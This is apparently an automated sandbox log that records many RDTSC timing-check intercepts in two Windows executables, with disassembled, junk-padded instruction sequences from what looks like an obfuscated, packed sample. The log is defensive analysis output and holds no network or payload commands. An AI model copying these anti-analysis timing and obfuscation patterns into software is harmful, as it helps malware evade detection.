Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D503E second address: 11D50A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007F441484CE87h 0x0000000e jmp 00007F441484CE81h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F441484CE78h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov edx, esi 0x00000030 push dword ptr [ebp+1245AEA8h] 0x00000036 sub dword ptr [ebp+122D263Ah], edi 0x0000003c call 00007F441484CE79h 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F441484CE7Ch 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D50A1 second address: 11D50AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D50AE second address: 11D50CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F441484CE81h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D50CE second address: 11D50D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D50D2 second address: 11D50D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D63CA second address: 11D63CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D63CE second address: 11D63D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D80C2 second address: 11D80DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4414D31C2Fh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D80DB second address: 11D80E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D80E0 second address: 11D80FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4414D31C37h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D80FD second address: 11D8101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8101 second address: 11D810D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D810D second address: 11D8113 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D8113 second address: 11D8117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9B7C second address: 11D9B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9B80 second address: 11D9BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C33h 0x00000007 jng 00007F4414D31C2Ah 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F4414D31C2Eh 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840273 second address: 58402B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F441484CE81h 0x00000009 jmp 00007F441484CE7Bh 0x0000000e popfd 0x0000000f mov ecx, 5666D8EFh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F441484CE81h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58402B0 second address: 58402B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58402B6 second address: 58402BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58402BA second address: 58402E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov bx, ax 0x0000000d mov ch, F4h 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F4414D31C36h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58402E3 second address: 58402E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58402E9 second address: 5840353 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F4414D31C2Ch 0x00000014 sub cx, 4708h 0x00000019 jmp 00007F4414D31C2Bh 0x0000001e popfd 0x0000001f pushfd 0x00000020 jmp 00007F4414D31C38h 0x00000025 and eax, 3618E968h 0x0000002b jmp 00007F4414D31C2Bh 0x00000030 popfd 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push edi 0x00000037 pop esi 0x00000038 movsx edi, ax 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840353 second address: 5840359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840359 second address: 584035D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840450 second address: 5840457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840517 second address: 5840553 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 6CE2h 0x00000007 mov eax, ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 0ED0450Fh 0x00000013 jmp 00007F4414D31C35h 0x00000018 call 00007F44866A56D9h 0x0000001d push 771B27D0h 0x00000022 push dword ptr fs:[00000000h] 0x00000029 mov eax, dword ptr [esp+10h] 0x0000002d mov dword ptr [esp+10h], ebp 0x00000031 lea ebp, dword ptr [esp+10h] 0x00000035 sub esp, eax 0x00000037 push ebx 0x00000038 push esi 0x00000039 push edi 0x0000003a mov eax, dword ptr [77240140h] 0x0000003f xor dword ptr [ebp-04h], eax 0x00000042 xor eax, ebp 0x00000044 push eax 0x00000045 mov dword ptr [ebp-18h], esp 0x00000048 push dword ptr [ebp-08h] 0x0000004b mov eax, dword ptr [ebp-04h] 0x0000004e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000055 mov dword ptr [ebp-08h], eax 0x00000058 lea eax, dword ptr [ebp-10h] 0x0000005b mov dword ptr fs:[00000000h], eax 0x00000061 ret 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F4414D31C2Dh 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840553 second address: 58405B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F441484CE87h 0x00000008 pushfd 0x00000009 jmp 00007F441484CE88h 0x0000000e sbb esi, 0F66A838h 0x00000014 jmp 00007F441484CE7Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d and dword ptr [ebp-04h], 00000000h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F441484CE85h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584067A second address: 58406AB instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F4414D31C33h 0x0000000c popad 0x0000000d sub edx, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4414D31C32h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58406AB second address: 58406EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, dword ptr [ebp+08h] 0x0000000c jmp 00007F441484CE86h 0x00000011 dec edi 0x00000012 pushad 0x00000013 mov bx, si 0x00000016 jmp 00007F441484CE7Ah 0x0000001b popad 0x0000001c lea ebx, dword ptr [edi+01h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58406EC second address: 58406F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58406F0 second address: 58406F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58406F6 second address: 584075F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b jmp 00007F4414D31C33h 0x00000010 inc edi 0x00000011 jmp 00007F4414D31C36h 0x00000016 test al, al 0x00000018 jmp 00007F4414D31C30h 0x0000001d jne 00007F4486699F68h 0x00000023 pushad 0x00000024 movzx esi, bx 0x00000027 mov si, bx 0x0000002a popad 0x0000002b mov ecx, edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F4414D31C30h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584075F second address: 584078D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F441484CE81h 0x00000009 or si, 2756h 0x0000000e jmp 00007F441484CE81h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584078D second address: 58407B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 shr ecx, 02h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F4414D31C39h 0x00000012 pop ecx 0x00000013 push ebx 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58407B7 second address: 5840870 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F441484CE88h 0x00000009 or esi, 76169308h 0x0000000f jmp 00007F441484CE7Bh 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 rep movsd 0x00000022 rep movsd 0x00000024 jmp 00007F441484CE82h 0x00000029 mov ecx, edx 0x0000002b jmp 00007F441484CE80h 0x00000030 and ecx, 03h 0x00000033 jmp 00007F441484CE80h 0x00000038 rep movsb 0x0000003a pushad 0x0000003b mov ebx, eax 0x0000003d push ecx 0x0000003e pushfd 0x0000003f jmp 00007F441484CE89h 0x00000044 and esi, 3E9DD0E6h 0x0000004a jmp 00007F441484CE81h 0x0000004f popfd 0x00000050 pop ecx 0x00000051 popad 0x00000052 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F441484CE7Ah 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840870 second address: 58408B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007F4414D31C36h 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4414D31C37h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58408B3 second address: 58408B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58408B9 second address: 58408BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58408BD second address: 584091D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f pushad 0x00000010 mov ah, dh 0x00000012 movzx eax, bx 0x00000015 popad 0x00000016 pop ecx 0x00000017 jmp 00007F441484CE81h 0x0000001c pop edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov cx, di 0x00000023 pushfd 0x00000024 jmp 00007F441484CE7Fh 0x00000029 and eax, 69EE00EEh 0x0000002f jmp 00007F441484CE89h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 584091D second address: 5840942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4414D31C2Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840942 second address: 5840967 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F441484CE7Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5840967 second address: 58409D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 pushfd 0x00000006 jmp 00007F4414D31C38h 0x0000000b xor eax, 2D3F6058h 0x00000011 jmp 00007F4414D31C2Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a leave 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov si, di 0x00000021 pushfd 0x00000022 jmp 00007F4414D31C37h 0x00000027 or cx, A3CEh 0x0000002c jmp 00007F4414D31C39h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58409D9 second address: 58409E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F441484CE7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58409E9 second address: 58409ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58409ED second address: 5840517 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 retn 0008h 0x0000000b cmp dword ptr [ebp-2Ch], 10h 0x0000000f mov eax, dword ptr [ebp-40h] 0x00000012 jnc 00007F441484CE75h 0x00000014 push eax 0x00000015 lea edx, dword ptr [ebp-00000590h] 0x0000001b push edx 0x0000001c call esi 0x0000001e push 00000008h 0x00000020 pushad 0x00000021 mov si, 2FEDh 0x00000025 mov eax, 5941DDE9h 0x0000002a popad 0x0000002b push 6851D719h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov al, EEh 0x00000035 pushfd 0x00000036 jmp 00007F441484CE83h 0x0000003b sbb ax, F7CEh 0x00000040 jmp 00007F441484CE89h 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1C3D4 second address: C1C3F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F4414D31C37h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1C3F6 second address: C1C410 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F441484CE76h 0x00000008 jmp 00007F441484CE80h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1C410 second address: C1C416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1C7FD second address: C1C814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE81h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1CBE7 second address: C1CBEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E4C0 second address: C1E4C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E4C6 second address: C1E513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4414D31C26h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F4414D31C28h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov edx, dword ptr [ebp+122D3A35h] 0x00000031 push 00000000h 0x00000033 push 79BC1B98h 0x00000038 push eax 0x00000039 push edx 0x0000003a jnc 00007F4414D31C2Ch 0x00000040 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E513 second address: C1E56C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F441484CE87h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 79BC1B18h 0x00000010 mov si, ax 0x00000013 push 00000003h 0x00000015 xor dword ptr [ebp+122D1BEFh], ecx 0x0000001b push 00000000h 0x0000001d sub ecx, dword ptr [ebp+122D398Dh] 0x00000023 push 00000003h 0x00000025 mov dword ptr [ebp+122D1BEFh], eax 0x0000002b push 85E52E04h 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F441484CE85h 0x00000037 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E56C second address: C1E5B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3A1AD1FCh 0x00000010 xor edx, dword ptr [ebp+122D387Dh] 0x00000016 lea ebx, dword ptr [ebp+124533E3h] 0x0000001c call 00007F4414D31C2Eh 0x00000021 mov edx, dword ptr [ebp+122D3AB1h] 0x00000027 pop edx 0x00000028 xchg eax, ebx 0x00000029 jmp 00007F4414D31C2Ch 0x0000002e push eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E5B9 second address: C1E5C6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F441484CE76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E768 second address: C1E7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007F4414D31C28h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000017h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 push 00000000h 0x00000022 jbe 00007F4414D31C2Ch 0x00000028 mov dword ptr [ebp+122D2314h], eax 0x0000002e call 00007F4414D31C29h 0x00000033 push eax 0x00000034 push edx 0x00000035 jbe 00007F4414D31C28h 0x0000003b push eax 0x0000003c pop eax 0x0000003d rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E7AE second address: C1E847 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F441484CE81h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jmp 00007F441484CE7Ah 0x00000015 popad 0x00000016 pop ecx 0x00000017 mov eax, dword ptr [esp+04h] 0x0000001b jo 00007F441484CE80h 0x00000021 jmp 00007F441484CE7Ah 0x00000026 mov eax, dword ptr [eax] 0x00000028 jmp 00007F441484CE81h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push edx 0x00000032 jmp 00007F441484CE89h 0x00000037 pop edx 0x00000038 pop eax 0x00000039 mov edx, esi 0x0000003b push 00000003h 0x0000003d mov di, cx 0x00000040 push 00000000h 0x00000042 push ebx 0x00000043 sub ch, FFFFFFAFh 0x00000046 pop esi 0x00000047 adc dh, 00000035h 0x0000004a push 00000003h 0x0000004c mov dword ptr [ebp+122D1B94h], edx 0x00000052 mov dword ptr [ebp+122D1BE5h], eax 0x00000058 push C45ABB51h 0x0000005d push eax 0x0000005e push edx 0x0000005f push ebx 0x00000060 push eax 0x00000061 pop eax 0x00000062 pop ebx 0x00000063 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E847 second address: C1E885 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4414D31C37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 045ABB51h 0x00000010 mov dword ptr [ebp+122D29F1h], edx 0x00000016 lea ebx, dword ptr [ebp+124533F7h] 0x0000001c jmp 00007F4414D31C2Bh 0x00000021 xchg eax, ebx 0x00000022 push edi 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E885 second address: C1E891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C1E891 second address: C1E896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3FB42 second address: C3FB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F441484CE84h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3FB5F second address: C3FB63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3E1AE second address: C3E1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3E5E2 second address: C3E5E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3E5E8 second address: C3E5EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3E5EC second address: C3E5F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3E5F2 second address: C3E5FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3E9FD second address: C3EA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	RDTSC instruction interceptor: First address: C3EA08 second address: C3EA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F441484CE81h 0x00000009 rdtsc
